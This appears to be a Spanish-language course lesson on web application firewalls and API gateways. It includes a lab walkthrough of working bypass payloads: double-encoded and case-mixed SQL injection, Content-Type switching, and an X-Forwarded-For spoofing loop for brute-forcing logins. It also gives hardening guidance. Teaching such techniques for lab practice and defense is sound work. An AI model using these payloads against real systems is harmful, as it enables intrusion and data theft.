API Gateway y WAF: cómo protegen, cómo se configuran y cómo se bypasean

Cualquier API expuesta a Internet recibe tráfico legítimo mezclado con sondeos automatizados, payloads de inyección y escaneos masivos desde el primer minuto. Para filtrar ese ruido antes de que llegue al backend existen dos capas que casi siempre trabajan juntas: el Web Application Firewall (WAF) y el API Gateway. El WAF inspecciona el contenido de cada petición buscando patrones maliciosos; el API Gateway gestiona autenticación, rate limiting, enrutamiento y transformación de peticiones. Juntos forman la primera línea de defensa de las APIs modernas.

El problema es que muchas organizaciones los despliegan con la configuración por defecto y asumen que están protegidas. Un WAF con reglas genéricas se bypasea con técnicas conocidas desde hace más de una década, y un API Gateway sin políticas estrictas no añade seguridad real. Es la sexta lección de la Tanda 9.

Prueba técnicas de bypass solo contra entornos autorizados o laboratorios. Evadir un WAF en producción ajena es intrusión y delito.

Qué es un WAF y qué es un API Gateway#

Un WAF es un proxy inverso especializado que analiza el tráfico HTTP/HTTPS en capa 7. Recibe cada petición antes que el servidor de aplicación, la compara contra un conjunto de reglas (firmas, expresiones regulares, anomalías) y decide si la deja pasar, la bloquea o la registra. Las reglas más conocidas son el OWASP Core Rule Set (CRS), un conjunto open source de más de 200 reglas que detectan SQLi, XSS, LFI, RCE y otros vectores comunes.

Un API Gateway se sitúa entre el cliente y los microservicios del backend. No es un firewall: su función principal es gestionar el ciclo de vida de las peticiones. Autentica al cliente (API keys, JWT, OAuth), aplica rate limiting y throttling, enruta la petición al microservicio correcto, transforma headers o body si es necesario y registra métricas. Ejemplos: Kong, AWS API Gateway, Azure API Management, Apigee.

En la práctica, WAF y API Gateway suelen funcionar en cascada: el WAF filtra payloads maliciosos y el API Gateway valida identidad y permisos. Si uno falla, el otro no compensa la carencia.

Por qué ocurre: la causa raíz#

Los WAFs fallan por una razón fundamental: inspeccionan la representación de la petición, no su semántica. Un WAF busca la cadena UNION SELECT en el body, pero el backend SQL interpreta UN%49ON SEL%45CT igual de bien después de decodificar. Mientras exista un desfase entre lo que el WAF ve y lo que el backend procesa, hay una ventana de bypass.

Las causas raíz más frecuentes:

• Reglas genéricas sin ajuste al stack real (un CRS sin tuning genera falsos positivos y el equipo baja la paranoia).
• WAF en modo detección en vez de bloqueo porque «rompe cosas en producción».
• El API Gateway delega toda la seguridad al WAF y no valida inputs por su cuenta.
• Actualizaciones de reglas atrasadas: el CRS se actualiza, pero la instancia lleva meses sin sincronizar.
• El WAF solo inspecciona application/x-www-form-urlencoded y text/html, pero la API acepta JSON, XML, multipart y GraphQL.

Tipos y variantes#

Dónde aparece#

• APIs REST y GraphQL detrás de un WAF cloud con reglas por defecto. Es el caso más común: el equipo activa Cloudflare o AWS WAF, ve el icono verde de protección y no vuelve a tocarlo.
• Microservicios con un API Gateway que solo hace routing sin validación de inputs. Kong o Apigee gestionan el tráfico pero nadie configuró reglas de inspección.
• Aplicaciones legacy protegidas por un WAF como parche en vez de corregir el código. El WAF se convierte en la única barrera entre un SQLi de 2010 y la base de datos.
• CDN con WAF integrado (Cloudflare, Akamai) donde el equipo confía ciegamente en la protección automática. Si el atacante descubre la IP de origen del servidor y accede directamente, el WAF no existe.
• Entornos PCI-DSS que exigen WAF por compliance pero no verifican su eficacia. El auditor pregunta si hay WAF; nadie pregunta si funciona.

El patrón común es el mismo: se despliega el WAF, se asume la protección y no se prueba nunca con técnicas reales de bypass.

Cómo se detecta#

El primer paso siempre es confirmar que hay un WAF y qué tipo es. Cada WAF tiene reglas distintas y, por tanto, bypasses distintos.

# Fingerprint con wafw00f
wafw00f http://IP_DEL_LAB

# Con nmap
nmap -p 80,443 --script http-waf-detect,http-waf-fingerprint IP_DEL_LAB

# Prueba manual rápida
curl -s -o /dev/null -w "%{http_code}" "http://IP_DEL_LAB/?id=1' OR 1=1--"
# Si devuelve 403 → WAF activo

Explotación paso a paso en un laboratorio#

Paso 1 — Identificar el WAF#

Lo primero es confirmar que hay un WAF y qué motor usa. Cada WAF tiene sus propias reglas y, por tanto, sus propios puntos ciegos.

wafw00f http://IP_DEL_LAB
# Output: The site http://IP_DEL_LAB is behind a WAF (Generic / ModSecurity)

curl -v "http://IP_DEL_LAB/login" -d "username=admin' OR 1=1--&password=x"
# HTTP/1.1 403 Forbidden
# Body: "Request blocked by WAF"

La respuesta 403 con un body genérico confirma WAF activo. Los headers de respuesta suelen delatar el proveedor: Server: cloudflare, X-Sucuri-ID, X-CDN: Imperva.

Paso 2 — Probar bypass por encoding#

El principio es simple: el WAF ve la cadena codificada y no la reconoce como payload, pero el backend la decodifica antes de procesarla. La técnica más fiable es el doble encoding, donde cada carácter especial se codifica dos veces.

# URL encoding doble del payload
curl "http://IP_DEL_LAB/login" -d "username=admin%2527%2520OR%25201%253D1--&password=x"
# %2527 → %27 (tras primera decodificación) → ' (tras segunda)

# Unicode encoding (funciona en IIS y algunos servidores Java)
curl "http://IP_DEL_LAB/search?q=%u0055NION+%u0053ELECT+1,2,3"

Paso 3 — Bypass por Content-Type switching#

Muchos WAFs están configurados para inspeccionar solo application/x-www-form-urlencoded y text/html. Si cambias el Content-Type a JSON y el backend lo acepta, el WAF ni mira el body:

curl -X POST "http://IP_DEL_LAB/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin'\'' OR 1=1--","password":"x"}'

Paso 4 — Bypass por case manipulation y comentarios SQL#

# Inyección SQL con case mixing y comentarios inline
curl "http://IP_DEL_LAB/products?order=id;sE%2f%2a%2a%2fLeCt+1,2,user()--"

# Variante con saltos de línea (%0a)
curl "http://IP_DEL_LAB/products?order=id%0aUNION%0aSELECT%0a1,2,3--"

Paso 5 — Confirmar ejecución#

# Si el bypass funciona, extraer datos
curl "http://IP_DEL_LAB/products?order=id;sE%2f%2a%2a%2fLeCt+1,user(),version()--"
# Respuesta incluye datos del servidor: root@localhost, MySQL 8.0.x

Paso 6 — Evadir rate limiting del API Gateway#

Si el API Gateway aplica rate limiting por IP de origen y confía en el header X-Forwarded-For sin validar que venga de un proxy de confianza, puedes falsificar la IP en cada petición:

# Si hay rate limiting por IP, rotar headers
for i in $(seq 1 100); do
  curl -s -H "X-Forwarded-For: 10.0.0.$i" \
    "http://IP_DEL_LAB/api/login" \
    -d "username=admin&password=pass$i"
done
# Cada petición parece venir de una IP distinta → no salta el rate limit

Este vector es exactamente lo que entrena el laboratorio doorkick: rate limiting basado en headers manipulables.

Qué puede lograr un atacante#

Cómo se corrige#

La corrección no es elegir un WAF mejor, sino no depender del WAF como única defensa:

Configuración vulnerable del WAF (reglas genéricas, modo detección):

# ModSecurity en DetectionOnly → solo registra, no bloquea
SecRuleEngine DetectionOnly

# CRS sin exclusiones ajustadas → falsos positivos
# El equipo desactiva reglas "molestas"
SecRuleRemoveById 942100
SecRuleRemoveById 942200
SecRuleRemoveById 941100

Configuración segura (modo bloqueo, reglas ajustadas, defensa en profundidad):

# ModSecurity en modo On → bloquea
SecRuleEngine On

# Paranoia Level 2 con exclusiones específicas por ruta
SecAction "id:900000,phase:1,pass,t:none,nolog,setvar:tx.paranoia_level=2"

# Exclusión solo para la ruta que lo necesita
SecRule REQUEST_URI "@beginsWith /api/upload" \
  "id:1001,phase:1,pass,ctl:ruleRemoveById=921110"

En el backend, la defensa real:

# Validación en el código, no solo en el WAF
from sqlalchemy import text

# NUNCA concatenar inputs
# cursor.execute(f"SELECT * FROM users WHERE id = {user_input}")

# SIEMPRE prepared statements
result = db.execute(text("SELECT * FROM users WHERE id = :uid"), {"uid": user_input})

# API Gateway: rate limiting por usuario autenticado, no por IP
rate_limiting:
  strategy: authenticated_user
  requests_per_minute: 60
  burst: 10
  # No confiar en X-Forwarded-For para rate limiting
  trusted_proxies: ["10.0.0.0/8"]

Errores comunes al defenderse#

• Dejar el WAF en modo detección «hasta que lo afinemos» y nunca pasarlo a bloqueo.
• Desactivar reglas del CRS porque generan falsos positivos en vez de crear exclusiones específicas por ruta.
• Rate limiting basado en IP del cliente sin considerar que X-Forwarded-For se puede falsificar.
• Inspeccionar solo form-urlencoded y no JSON, XML, multipart ni GraphQL.
• No actualizar las reglas del WAF: las firmas de bypass se publican constantemente.
• Confiar en el WAF como sustituto de validación en el código: el WAF es una capa extra, no la defensa principal.
• No monitorizar los logs del WAF: si nadie revisa las alertas, el WAF registra pero no protege.

Preguntas frecuentes#

Un WAF elimina la necesidad de corregir el código vulnerable#

No. Un WAF es una capa de mitigación temporal. Si el código tiene SQLi, la solución es prepared statements. El WAF reduce el riesgo mientras se parchea, pero no lo elimina: siempre hay técnicas de bypass.

Cloudflare WAF es suficiente para proteger mi API#

Cloudflare WAF es sólido, pero necesita configuración. Las reglas managed por defecto cubren ataques genéricos, pero cada API tiene endpoints, parámetros y lógica de negocio que requieren reglas custom. Además, si el atacante descubre la IP de origen y bypasea Cloudflare directamente, el WAF deja de existir.

Qué diferencia hay entre WAF y RASP#

El WAF inspecciona la petición HTTP antes de que llegue a la aplicación. RASP (Runtime Application Self-Protection) se ejecuta dentro de la aplicación y tiene visibilidad semántica: sabe que una cadena es un parámetro SQL, no solo texto. RASP detecta bypasses de encoding porque ve la query final, pero tiene impacto en rendimiento.

Cómo sé si mi WAF está bien configurado#

Pruébalo. Usa herramientas como nuclei con templates de WAF bypass, Burp con wordlists de evasión y pruebas manuales con encoding. Si payloads básicos con doble encoding o case mixing pasan, la configuración es insuficiente. Audita con regularidad.

Qué es el OWASP CRS y debería usarlo#

El OWASP Core Rule Set es el estándar open source de reglas para WAFs, compatible con ModSecurity, Coraza y otros motores. Sí, deberías usarlo como base, pero ajustado a tu aplicación: nivel de paranoia adecuado, exclusiones por ruta y actualización frecuente.

Dónde practico bypass de WAF#

En whoami-labs tienes tres laboratorios progresivos: doorkick para empezar con rate limit evasion, cerberus para WAF evasion avanzada con encadenamiento de vulnerabilidades, y polyglot para bypass de WAF con inyección SQL usando payloads políglotas que esquivan los filtros.

Resumen#

• Un WAF inspecciona peticiones HTTP buscando patrones maliciosos; un API Gateway gestiona autenticación, rate limiting y enrutamiento.
• Los WAFs fallan porque inspeccionan la representación, no la semántica: encoding doble, case mixing, comentarios SQL y Content-Type switching son bypasses habituales.
• La defensa correcta es defensa en profundidad: WAF como capa extra, validación en el código (prepared statements, whitelist de inputs), rate limiting por usuario autenticado.
• El OWASP CRS es la base estándar de reglas; hay que ajustarlo al stack concreto y mantenerlo actualizado.
• Nunca dejes un WAF en modo detección en producción ni confíes en él como sustituto de código seguro.

Fuentes y lecturas recomendadas#

• OWASP Core Rule Set (CRS)
• OWASP Web Application Firewall
• PortSwigger: Web Application Firewalls (WAFs)
• ModSecurity Reference Manual
• MITRE ATT&CK T1190 - Exploit Public-Facing Application
• wafw00f - WAF Fingerprinting Tool